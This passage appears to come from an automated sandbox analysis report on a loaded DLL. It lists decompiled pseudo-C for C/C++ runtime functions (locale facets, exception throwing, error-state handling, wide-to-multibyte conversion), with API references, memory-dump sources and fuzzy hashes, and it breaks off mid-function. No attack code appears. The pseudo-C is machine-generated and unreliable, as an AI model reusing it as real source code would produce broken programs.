							 *_t60 = 0;
							 *((intOrPtr*)(_t60 + 4)) = 0;
							 *_t60 = E6DD15BFB();
							return E6DD30075(_t60);
						} else {
							_t59 =  *((intOrPtr*)(_t61 - 0x10));
							 *((intOrPtr*)(_t61 - 0x10)) = _t59;
							 *(_t61 - 4) = 1;
							E6DD16FD3(__eflags, _t59);
							 *((intOrPtr*)( *_t59 + 4))();
							 *0x6ddece80 = _t59;
							goto L5;
						}
					} else {
						_t59 = _t57;
						goto L5;
					}
				}
			}

0x6dd14a80
0x6dd14a87
0x6dd14a91
0x6dd14a96
0x6dd14a9f
0x6dd14aa5
0x6dd14aa8
0x6dd14aad
0x6dd14ab1
0x6dd14ab6
0x6dd14aba
0x6dd14af5
0x6dd14af8
0x6dd14b04
0x6dd14abc
0x6dd14abe
0x6dd14ac4
0x6dd14aca
0x6dd14ad2
0x6dd14ad5
0x6dd14b08
0x6dd14b16
0x6dd14b1b
0x6dd14b23
0x6dd14b2f
0x6dd14b35
0x6dd14b38
0x6dd14b3b
0x6dd14b3d
0x6dd14b40
0x6dd14b42
0x6dd14b4a
0x6dd14b53
0x6dd14ad7
0x6dd14ad7
0x6dd14ada
0x6dd14ade
0x6dd14ae2
0x6dd14aec
0x6dd14aef
0x00000000
0x6dd14aef
0x6dd14ac0
0x6dd14ac0
0x00000000
0x6dd14ac0
0x6dd14abe

APIs

__EH_prolog3.LIBCMT ref: 6DD14A87
std::_Lockit::_Lockit.LIBCPMT ref: 6DD14A91
int.LIBCPMT ref: 6DD14AA8

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD14AE2
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD14AF8
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD14B16

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 038527d535bae5633edf3df780dcb6de4f8d65084165f9e08bb2a86ab2e1f870
Instruction ID: fff7dc6af79bbaaf29e2f13452ac5b708e28430b54e2bbc6c219701867e6a3f6
Opcode Fuzzy Hash: 038527d535bae5633edf3df780dcb6de4f8d65084165f9e08bb2a86ab2e1f870
Instruction Fuzzy Hash: 9511CE728082299BCF10FBA8DC40AFD7770EF44728F170518F620AB280EB719A05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5D5FF, Relevance: 9.0, APIs: 6, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E6DD5D5FF(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0x6ddd51e4; // 0x6
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E6DD5C7EF(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E6DD64196(_t25, __eflags,  *0x6ddd51e4, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E6DD5D33F(_t25, _t31, 0x6ddd76f0);
							E6DD5CBD3(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E6DD5CBD3();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E6DD562FA(_t20, _t25, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x6ddd51e4; // 0x6
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E6DD5C7EF(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E6DD64196(_t27, __eflags,  *0x6ddd51e4, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E6DD5D33F(_t27, _t32, 0x6ddd76f0);
									E6DD5CBD3(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E6DD5CBD3();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E6DD64140(_t25, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E6DD64140(_t23, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

APIs

GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,AA9E70CB), ref: 6DD5D603
_free.LIBCMT ref: 6DD5D636
_free.LIBCMT ref: 6DD5D65E
SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,AA9E70CB), ref: 6DD5D66B
SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,AA9E70CB), ref: 6DD5D677
_abort.LIBCMT ref: 6DD5D67D

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: b53baad7a70627167143d7d3e22512e0aa3ab68b1a55b35d2598ab5670286db6
Instruction ID: c4c9cb6df6330db14837cc9e56814ac9d81a01249edd3fc82737356f397e9635
Opcode Fuzzy Hash: b53baad7a70627167143d7d3e22512e0aa3ab68b1a55b35d2598ab5670286db6
Instruction Fuzzy Hash: 7BF08136548515A6EE0237789C09F6A36369BD36A5B220115FA2892185EF24C43282B4

Uniqueness

Uniqueness Score: -1.00%

Function 6DD175E8, Relevance: 9.0, APIs: 6, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E6DD175E8(intOrPtr _a4) {
				char _v16;
				intOrPtr _v24;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v68;
				char _v76;
				void* _t33;
				void* _t35;
				void* _t36;

				_t36 = _t35 - 0xc;
				E6DD173A9( &_v16, _a4);
				E6DD33D74( &_v16, 0x6ddd14fc);
				asm("int3");
				_push(_t35);
				E6DD173E3( &_v44, _v24);
				E6DD33D74( &_v44, 0x6ddd1538);
				asm("int3");
				_push(_t36);
				_t33 = _t36 - 0xc;
				E6DD17426( &_v76, _v52);
				E6DD33D74( &_v76, 0x6ddd15ac);
				asm("int3");
				_push(_t33);
				E6DCF1420( &_v68, _v48);
				E6DD33D74( &_v68, 0x6ddd3450);
				asm("int3");
				return "bad function call";
			}

0x6dd175eb
0x6dd175f4
0x6dd17602
0x6dd17607
0x6dd17608
0x6dd17614
0x6dd17622
0x6dd17627
0x6dd17628
0x6dd17629
0x6dd17634
0x6dd17642
0x6dd17647
0x6dd17648
0x6dd17654
0x6dd17662
0x6dd17667
0x6dd1766d

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 6DD175F4

Part of subcall function 6DD173A9: std::exception::exception.LIBCONCRT ref: 6DD173B6

__CxxThrowException@8.LIBVCRUNTIME ref: 6DD17602

Part of subcall function 6DD33D74: RaiseException.KERNEL32(?,?,6DD175E7,00000000,?,?,?,?,?,?,?,6DD175E7,00000000,6DDD14C0,?), ref: 6DD33DD4

std::invalid_argument::invalid_argument.LIBCONCRT ref: 6DD17614

Part of subcall function 6DD173E3: std::exception::exception.LIBCONCRT ref: 6DD173F0

__CxxThrowException@8.LIBVCRUNTIME ref: 6DD17622
std::regex_error::regex_error.LIBCPMT ref: 6DD17634

Part of subcall function 6DD17426: std::exception::exception.LIBCONCRT ref: 6DD1743E

__CxxThrowException@8.LIBVCRUNTIME ref: 6DD17642

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: Exception@8Throwstd::exception::exception$std::invalid_argument::invalid_argument$ExceptionRaisestd::regex_error::regex_error
String ID:
API String ID: 2570946744-0
Opcode ID: a1402ffb851a3cf2d3f6938f6a97a64c3e78ed4988e8f03d3cf634f86076f93f
Instruction ID: 32ac676fdc5699cd46c6f2486575129fdc2d7c7e9a71b75b2a4ff08d077a670f
Opcode Fuzzy Hash: a1402ffb851a3cf2d3f6938f6a97a64c3e78ed4988e8f03d3cf634f86076f93f
Instruction Fuzzy Hash: 37F03A38C0810CB7CF04FBE4FD45CADB77CEA04200F414920BB6492051EB75A21A87E1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD153EB, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6DD153EB(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t35;
				short _t49;
				intOrPtr _t55;
				signed int _t58;
				intOrPtr _t66;
				void* _t70;
				void* _t78;

				_t61 = __edx;
				E6DD3014E(0x6dd78264, __ebx, __edi, __esi, 0xa4);
				_t55 = __ecx;
				 *((intOrPtr*)(_t70 - 0x4c)) = __ecx;
				 *((intOrPtr*)(_t70 - 0x44)) = E6DD51A3F(__ecx, __edx);
				_t35 = E6DD191D8(__ecx, __edx, _t78, _t70 - 0x80);
				_t58 = 0xb;
				memcpy(_t70 - 0x40, _t35, _t58 << 2);
				_t66 =  *((intOrPtr*)(_t70 - 0x44));
				_t79 =  *((char*)(_t70 + 0xc));
				 *((intOrPtr*)(_t55 + 8)) = 0;
				 *((intOrPtr*)(_t55 + 0x10)) = 0;
				 *((intOrPtr*)(_t55 + 0x14)) = 0;
				 *((intOrPtr*)(_t70 - 4)) = 0;
				if( *((char*)(_t70 + 0xc)) == 0) {
					_t13 = _t66 + 8; // 0x0
					 *((intOrPtr*)(_t70 - 0x48)) =  *_t13;
				} else {
					 *((intOrPtr*)(_t70 - 0x48)) = 0x6dd894dd;
				}
				E6DD191D8(_t55, _t61, _t79, _t70 - 0x80);
				_push(_t70 - 0xac);
				_push(0);
				 *((intOrPtr*)(_t55 + 8)) = E6DD15B01(_t61, _t66, 0, _t70, _t79,  *((intOrPtr*)(_t70 - 0x48)));
				_push(_t70 - 0x40);
				 *((intOrPtr*)(_t55 + 0x10)) = E6DCF17AF(_t55, _t61, _t66, 0, _t70, _t79, "false", 0);
				_push(_t70 - 0x40);
				 *((intOrPtr*)(_t55 + 0x14)) = E6DCF17AF(_t55, _t61, _t66, 0, _t70, _t79, "true", 0);
				if( *((char*)(_t70 + 0xc)) == 0) {
					_t28 = _t66 + 0x30; // 0x0
					 *((short*)(_t55 + 0xc)) =  *((intOrPtr*)( *_t28));
					_t30 = _t66 + 0x34; // 0xc
					_t49 =  *((intOrPtr*)( *_t30));
				} else {
					 *((short*)(_t55 + 0xc)) = E6DCF177E(0x2e, 0, _t70 - 0x40);
					_t49 = E6DCF177E(0x2c, 0, _t70 - 0x40);
				}
				 *((short*)(_t55 + 0xe)) = _t49;
				return E6DD3009B(_t49, _t55, _t66, 0);
			}

0x6dd153eb
0x6dd153f5
0x6dd153fa
0x6dd153fc
0x6dd15404
0x6dd1540b
0x6dd15413
0x6dd15419
0x6dd1541b
0x6dd15420
0x6dd15424
0x6dd15427
0x6dd1542a
0x6dd1542d
0x6dd15430
0x6dd1543b
0x6dd1543e
0x6dd15432
0x6dd15432
0x6dd15432
0x6dd15445
0x6dd15451
0x6dd15452
0x6dd1545e
0x6dd15464
0x6dd15473
0x6dd15479
0x6dd15488
0x6dd1548f
0x6dd154bf
0x6dd154c5
0x6dd154c9
0x6dd154cc
0x6dd15491
0x6dd154a0
0x6dd154ab
0x6dd154b0
0x6dd154b3
0x6dd154bc

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6DD153F5
__Getcvt.LIBCPMT ref: 6DD1540B
__Getcvt.LIBCPMT ref: 6DD15445

Strings

false, xrefs: 6DD15466
true, xrefs: 6DD1547B

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: Getcvt$H_prolog3_catch_
String ID: false$true
API String ID: 1810345438-2658103896
Opcode ID: d98d66e0d54950e94d99cb724bc5ef981c151689e499b97d08400575e169e761
Instruction ID: 1ba187336c67cee8cecd6aa9578585c94f376a9a240d45f2559b8a9d0df85cc4
Opcode Fuzzy Hash: d98d66e0d54950e94d99cb724bc5ef981c151689e499b97d08400575e169e761
Instruction Fuzzy Hash: 332160B5D05228ABDB11EFA4DC84AEE7BB8FF05310F05406AF9089F601E7749955CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5970F, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,6DD596A5,?,?,6DD59645,?,6DDD2D28,0000000C,6DD5978A), ref: 6DD5972F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6DD59742
FreeLibrary.KERNEL32(00000000,?,?,?,6DD596A5,?,?,6DD59645,?,6DDD2D28,0000000C,6DD5978A), ref: 6DD59765

Strings

mscoree.dll, xrefs: 6DD59728
CorExitProcess, xrefs: 6DD5973A

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 30505b5cb9bc833024c922dbcfaed0b8fc7c256d145f0e6e7b4484c5898d5849
Instruction ID: 06a5c20be33b7a387e1addf1c962b637ef15912a5e7020440dd950470eb90de9
Opcode Fuzzy Hash: 30505b5cb9bc833024c922dbcfaed0b8fc7c256d145f0e6e7b4484c5898d5849
Instruction Fuzzy Hash: 72F04971901119FBEF01BFA1CC48FBEBFB8EB06355F0040A9F909A2251CB308A55CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD64E2A, Relevance: 7.7, APIs: 5, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6DD64E2A(void* __ebx, int __edx, void* __edi, char* _a4, short* _a8, int _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				int _v20;
				int _v24;
				char* _v28;
				int _v32;
				char _v36;
				int _v44;
				char _v48;
				void* __esi;
				signed int _t59;
				char* _t61;
				int _t63;
				int _t64;
				intOrPtr* _t65;
				signed int _t68;
				intOrPtr* _t71;
				short* _t73;
				int _t74;
				int _t76;
				char _t78;
				short* _t83;
				short _t85;
				int _t91;
				int _t93;
				char* _t98;
				int _t103;
				char* _t105;
				int _t106;
				int _t107;
				short* _t109;
				int _t110;
				int _t111;
				signed int _t112;

				_t106 = __edx;
				_t59 =  *0x6ddd506c; // 0x5c069606
				_v8 = _t59 ^ _t112;
				_t61 = _a4;
				_t91 = _a12;
				_t111 = 0;
				_v28 = _t61;
				_v20 = 0;
				_t109 = _a8;
				_v24 = _t109;
				if(_t61 == 0 || _t91 != 0) {
					if(_t109 != 0) {
						E6DD41F60(_t91,  &_v48, _t106, _a16);
						_t98 = _v28;
						if(_t98 == 0) {
							_t63 = _v44;
							if( *((intOrPtr*)(_t63 + 0xa8)) != _t111) {
								_t64 = WideCharToMultiByte( *(_t63 + 8), _t111, _t109, 0xffffffff, _t111, _t111, _t111,  &_v20);
								if(_t64 == 0 || _v20 != _t111) {
									L55:
									_t65 = E6DD52281();
									_t110 = _t109 | 0xffffffff;
									 *_t65 = 0x2a;
									goto L56;
								} else {
									_t53 = _t64 - 1; // -1
									_t110 = _t53;
									L56:
									if(_v36 != 0) {
										 *(_v48 + 0x350) =  *(_v48 + 0x350) & 0xfffffffd;
									}
									goto L59;
								}
							}
							_t68 =  *_t109 & 0x0000ffff;
							if(_t68 == 0) {
								L51:
								_t110 = _t111;
								goto L56;
							}
							_t106 = 0xff;
							while(_t68 <= _t106) {
								_t109 =  &(_t109[1]);
								_t111 = _t111 + 1;
								_t68 =  *_t109 & 0x0000ffff;
								if(_t68 != 0) {
									continue;
								}
								goto L51;
							}
							goto L55;
						}
						_t106 = _v44;
						if( *((intOrPtr*)(_t106 + 0xa8)) != _t111) {
							if( *((intOrPtr*)(_t106 + 4)) != 1) {
								_t110 = WideCharToMultiByte( *(_t106 + 8), _t111, _t109, 0xffffffff, _t98, _t91, _t111,  &_v20);
								if(_t110 == 0) {
									if(_v20 != _t111 || GetLastError() != 0x7a) {
										L45:
										_t71 = E6DD52281();
										_t111 = _t111 | 0xffffffff;
										 *_t71 = 0x2a;
										goto L51;
									} else {
										if(_t91 == 0) {
											goto L56;
										}
										_t73 = _v24;
										while(1) {
											_t107 = _v44;
											_t103 =  *(_t107 + 4);
											if(_t103 > 5) {
												_t103 = 5;
											}
											_t74 = WideCharToMultiByte( *(_t107 + 8), _t111, _t73, 1,  &_v16, _t103, _t111,  &_v20);
											_t93 = _a12;
											_t106 = _t74;
											if(_t106 == 0 || _v20 != _t111 || _t106 < 0 || _t106 > 5) {
												goto L55;
											}
											if(_t106 + _t110 > _t93) {
												goto L56;
											}
											_t76 = _t111;
											_v32 = _t76;
											if(_t106 <= 0) {
												L43:
												_t73 = _v24 + 2;
												_v24 = _t73;
												if(_t110 < _t93) {
													continue;
												}
												goto L56;
											}
											_t105 = _v28;
											while(1) {
												_t78 =  *((intOrPtr*)(_t112 + _t76 - 0xc));
												 *((char*)(_t105 + _t110)) = _t78;
												if(_t78 == 0) {
													goto L56;
												}
												_t76 = _v32 + 1;
												_t110 = _t110 + 1;
												_v32 = _t76;
												if(_t76 < _t106) {
													continue;
												}
												goto L43;
											}
											goto L56;
										}
										goto L55;
									}
								}
								if(_v20 != _t111) {
									goto L45;
								}
								_t28 = _t110 - 1; // -1
								_t111 = _t28;
								goto L51;
							}
							if(_t91 == 0) {
								L21:
								_t111 = WideCharToMultiByte( *(_t106 + 8), _t111, _t109, _t91, _t98, _t91, _t111,  &_v20);
								if(_t111 == 0 || _v20 != 0) {
									goto L45;
								} else {
									if(_v28[_t111 - 1] == 0) {
										_t111 = _t111 - 1;
									}
									goto L51;
								}
							}
							_t83 = _t109;
							_v24 = _t91;
							while( *_t83 != _t111) {
								_t83 =  &(_t83[1]);
								_t16 =  &_v24;
								 *_t16 = _v24 - 1;
								if( *_t16 != 0) {
									continue;
								}
								break;
							}
							if(_v24 != _t111 &&  *_t83 == _t111) {
								_t91 = (_t83 - _t109 >> 1) + 1;
							}
							goto L21;
						}
						if(_t91 == 0) {
							goto L51;
						}
						_t106 = 0xff;
						while( *_t109 <= _t106) {
							_t98[_t111] =  *_t109;
							_t85 =  *_t109;
							_t109 =  &(_t109[1]);
							if(_t85 == 0) {
								goto L51;
							}
							_t111 = _t111 + 1;
							if(_t111 < _t91) {
								continue;
							}
							goto L51;
						}
						goto L45;
					}
					 *((intOrPtr*)(E6DD52281())) = 0x16;
					E6DD5215B();
					goto L59;
				} else {
					L59:
					return E6DD2F8A5(_v8 ^ _t112, _t106, _t111);
				}
			}

0x6dd64e2a
0x6dd64e32
0x6dd64e39
0x6dd64e3c
0x6dd64e40
0x6dd64e44
0x6dd64e46
0x6dd64e49
0x6dd64e4d
0x6dd64e50
0x6dd64e55
0x6dd64e64
0x6dd64e84
0x6dd64e89
0x6dd64e8e
0x6dd6502b
0x6dd65034
0x6dd65066
0x6dd6506e
0x6dd6507a
0x6dd6507a
0x6dd6507f
0x6dd65082
0x00000000
0x6dd65075
0x6dd65075
0x6dd65075
0x6dd65088
0x6dd6508c
0x6dd65091
0x6dd65091
0x00000000
0x6dd65098
0x6dd6506e
0x6dd65036
0x6dd6503c
0x6dd65054
0x6dd65054
0x00000000
0x6dd65054
0x6dd6503e
0x6dd65043
0x6dd65048
0x6dd6504b
0x6dd6504c
0x6dd65052
0x00000000
0x00000000
0x00000000
0x6dd65052
0x00000000
0x6dd65043
0x6dd64e94
0x6dd64e9d
0x6dd64ed7
0x6dd64f50
0x6dd64f54
0x6dd64f6a
0x6dd6501b
0x6dd6501b
0x6dd65020
0x6dd65023
0x00000000
0x6dd64f7f
0x6dd64f81
0x00000000
0x00000000
0x6dd64f87
0x6dd64f8a
0x6dd64f8a
0x6dd64f8d
0x6dd64f93
0x6dd64f97
0x6dd64f97
0x6dd64fa9
0x6dd64faf
0x6dd64fb2
0x6dd64fb6
0x00000000
0x00000000
0x6dd64fdb
0x00000000
0x00000000
0x6dd64fe1
0x6dd64fe3
0x6dd64fe8
0x6dd65008
0x6dd6500b
0x6dd6500e
0x6dd65013
0x00000000
0x00000000
0x00000000
0x6dd65019
0x6dd64fea
0x6dd64fed
0x6dd64fed
0x6dd64ff1
0x6dd64ff6
0x00000000
0x00000000
0x6dd64fff
0x6dd65000
0x6dd65001
0x6dd65006
0x00000000
0x00000000
0x00000000
0x6dd65006
0x00000000
0x6dd64fed
0x00000000
0x6dd64f8a
0x6dd64f6a
0x6dd64f59
0x00000000
0x00000000
0x6dd64f5f
0x6dd64f5f
0x00000000
0x6dd64f5f
0x6dd64edb
0x6dd64f01
0x6dd64f14
0x6dd64f18
0x00000000
0x6dd64f28
0x6dd64f30
0x6dd64f36
0x6dd64f36
0x00000000
0x6dd64f30
0x6dd64f18
0x6dd64edd
0x6dd64edf
0x6dd64ee2
0x6dd64ee7
0x6dd64eea
0x6dd64eea
0x6dd64eee
0x00000000
0x00000000
0x00000000
0x6dd64eee
0x6dd64ef3
0x6dd64f00
0x6dd64f00
0x00000000
0x6dd64ef3
0x6dd64ea1
0x00000000
0x00000000
0x6dd64ea7
0x6dd64eac
0x6dd64eb7
0x6dd64eba
0x6dd64ebd
0x6dd64ec3
0x00000000
0x00000000
0x6dd64ec9
0x6dd64ecc
0x00000000
0x00000000
0x00000000
0x6dd64ece
0x00000000
0x6dd64eac
0x6dd64e6b
0x6dd64e71
0x00000000
0x6dd64e5b
0x6dd6509a
0x6dd650aa
0x6dd650aa

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f1e91be1f7c9e64df0eaf274d1f4c19498e587581e781674dadf71246356a5
Instruction ID: 11adf1ca5e01cc882222b9e30e752d1a68adfc9d4ee6f6975e81aa3863ac7525
Opcode Fuzzy Hash: 35f1e91be1f7c9e64df0eaf274d1f4c19498e587581e781674dadf71246356a5
Instruction Fuzzy Hash: 0471BF31944297DBDB11AB98C884ABFBB75EF46310F204269F96067286C771C885CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5E506, Relevance: 7.7, APIs: 5, Instructions: 187
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E6DD5E506(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int _v56;
				char _v276;
				short _v278;
				short _v280;
				char _v448;
				signed int _v452;
				signed int _v456;
				short _v458;
				intOrPtr _v460;
				intOrPtr _v464;
				signed int _v468;
				signed int _v472;
				intOrPtr _v508;
				char _v536;
				signed int _v540;
				intOrPtr _v544;
				signed int _v556;
				char _v708;
				signed int _v712;
				signed int _v716;
				short _v718;
				signed int* _v720;
				signed int _v724;
				signed int _v728;
				signed int _v732;
				signed int* _v736;
				signed int _v740;
				signed int _v744;
				signed int _v748;
				signed int _v752;
				char _v820;
				char _v1248;
				char _v1256;
				intOrPtr _v1276;
				signed int _v1292;
				signed int _t243;
				void* _t246;
				signed int _t249;
				signed int _t251;
				signed int _t257;
				signed int _t258;
				signed int _t259;
				signed int _t260;
				signed int _t261;
				signed int _t263;
				signed int _t265;
				void* _t267;
				signed int _t268;
				signed int _t269;
				signed int _t270;
				signed int _t272;
				signed int _t275;
				signed int _t282;
				signed int _t283;
				signed int _t284;
				intOrPtr _t285;
				signed int _t288;
				signed int _t292;
				signed int _t293;
				intOrPtr* _t295;
				intOrPtr _t296;
				signed int _t299;
				signed int _t300;
				signed int _t302;
				signed int _t322;
				signed int _t323;
				signed int _t326;
				signed int _t331;
				void* _t333;
				signed int _t335;
				void* _t336;
				intOrPtr _t337;
				signed int _t342;
				signed int _t343;
				intOrPtr* _t346;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				intOrPtr* _t365;
				signed int _t367;
				signed int _t373;
				intOrPtr* _t377;
				intOrPtr* _t380;
				void* _t383;
				signed int _t384;
				intOrPtr* _t385;
				signed int _t398;
				signed int _t401;
				intOrPtr* _t402;
				signed int _t404;
				signed int* _t408;
				intOrPtr* _t415;
				intOrPtr* _t416;
				intOrPtr _t425;
				signed int _t426;
				short _t427;
				signed int _t430;
				intOrPtr _t431;
				signed int _t434;
				intOrPtr _t435;
				signed int _t437;
				signed int _t440;
				intOrPtr _t446;
				signed int _t447;
				void* _t448;
				signed int _t449;
				signed int _t450;
				signed int _t453;
				signed int _t455;
				void* _t456;
				signed int _t459;
				signed int* _t460;
				intOrPtr* _t461;
				short _t462;
				void* _t464;
				signed int _t466;
				signed int _t468;
				void* _t470;
				void* _t471;
				void* _t473;
				signed int _t474;
				void* _t475;
				void* _t477;
				signed int _t478;
				void* _t480;
				void* _t482;
				intOrPtr _t494;

				_t425 = __edx;
				_t464 = _t470;
				_t471 = _t470 - 0xc;
				_push(__ebx);
				_push(__esi);
				_v12 = 1;
				_t360 = E6DD5F26D(__ecx, 0x6a6);
				_t242 = 0;
				_pop(_t373);
				if(_t360 == 0) {
					L20:
					return _t242;
				} else {
					_push(__edi);
					_t2 = _t360 + 4; // 0x4
					_t430 = _t2;
					 *_t430 = 0;
					 *_t360 = 1;
					_t446 = _a4;
					_t4 = _t446 + 0x30; // 0x6dd5da4e
					_t243 = _t4;
					_push( *_t243);
					_v16 = _t243;
					_push(0x6dd80f34);
					_push( *0x6dd80dec);
					E6DD5E445(_t360, _t373, _t430, _t446, _t430, 0x351, 3);
					_t473 = _t471 + 0x18;
					_v8 = 0x6dd80dec;
					while(1) {
						L2:
						_t246 = E6DD6D470(_t430, 0x351, 0x6dd80f30);
						_t474 = _t473 + 0xc;
						if(_t246 != 0) {
							break;
						} else {
							_t8 = _v16 + 0x10; // 0x10
							_t415 = _t8;
							_t342 =  *_v16;
							_v16 = _t415;
							_t416 =  *_t415;
							goto L4;
						}
						while(1) {
							L4:
